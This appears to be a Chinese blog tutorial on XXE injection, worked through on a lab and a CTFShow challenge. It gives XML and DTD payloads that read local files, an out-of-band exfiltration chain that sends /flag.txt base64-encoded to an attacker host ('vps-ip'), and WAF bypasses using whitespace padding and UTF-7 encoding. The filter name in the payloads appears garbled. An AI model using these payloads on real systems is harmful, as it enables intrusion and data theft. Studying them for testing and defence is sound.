XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结

本文详细解读XXE漏洞,涉及原理、环境配置、回显注入与无回显注入实例,包括如何利用base64编码和绕过WAF的方法。还介绍了如何通过构建XML实体链获取敏感信息的攻击步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件

环境搭建

地址:https://github.com/c0ny1/xxe-lab
下载好后将PHP_XXE放到PHPstudy的www目录下就可以访问
在这里插入图片描述

XXE有回显注入

在登录处先抓一下包,可以看到是参数的传递格式是XML,可能存在XML注入。
在这里插入图片描述
将数据包发送到Repeater模块,进行下一步的分析。
在这里插入图片描述
可以看到响应包里回显的内容为username,接着使用XXE漏洞进行文件读取。
在这里插入图片描述
读取txt文件时可以直接读取,但是在读取php文件时php代码可能会因为浏览器的解析而无法显示,这是需要将代码进行base64编码后再进行读出。

php://filter/read=convert.base64-encode/resource=文件地址

在这里插入图片描述
base64解码便可以获取abc.php的内容
在这里插入图片描述

XXE无回显注入

当一个Web程序可以解析XML输入,但却无任何输出响应这种注入叫做盲注XXE。所以为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的Web应用。

这里借用CTFShow的一道题目进行讲解。
https://ctf.show/challenges#web4_%E8%A7%82%E5%BF%83-340
在这里插入图片描述
点击占卜,抓包看一下数据。看到它请求了一个外部的xml,可以推测存在XXE注入。
在这里插入图片描述
同时因为是从公网上的服务器发起请求,所以我们需要在自己的服务器上构造一个攻击链
首先开启Apache服务,把我们所构造的文件放在/var/www/html下,以便我们能访问到。

service apache2 start

创建一个test.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

创建一个test.dtd

<!ENTITY % dtd "<!ENTITY xxe SYSTEM 'http://vps-ip/pass=%file;'>">
%dtd;
%xxe;

然后发起请求
在这里插入图片描述
得到flag。

方法二

攻击payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;%dtd;%xxe;
]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % dtd "<!ENTITY xxe SYSTEM 'http://vps-ip/pass=%file;'>">
  • remote代表远程攻击机上的dtd文件,dtd的内容是file和dtd实体
  • xxe代表的是在dtd中镶嵌的另一个实体,它的作用是将file实体读取到的内容当作dtd实体的值

绕过方式

空格绕过

通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在<?xml?><!DOCTYPE>中插入数量足够多的空格去绕过WAF的检测。
原文

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

绕过

<?xml              



                                                                                                                                                                                                                                                                         
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

编码绕过

当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过
https://www.motobit.com/util/charset-codepage-conversion.asp
原文

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

绕过

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值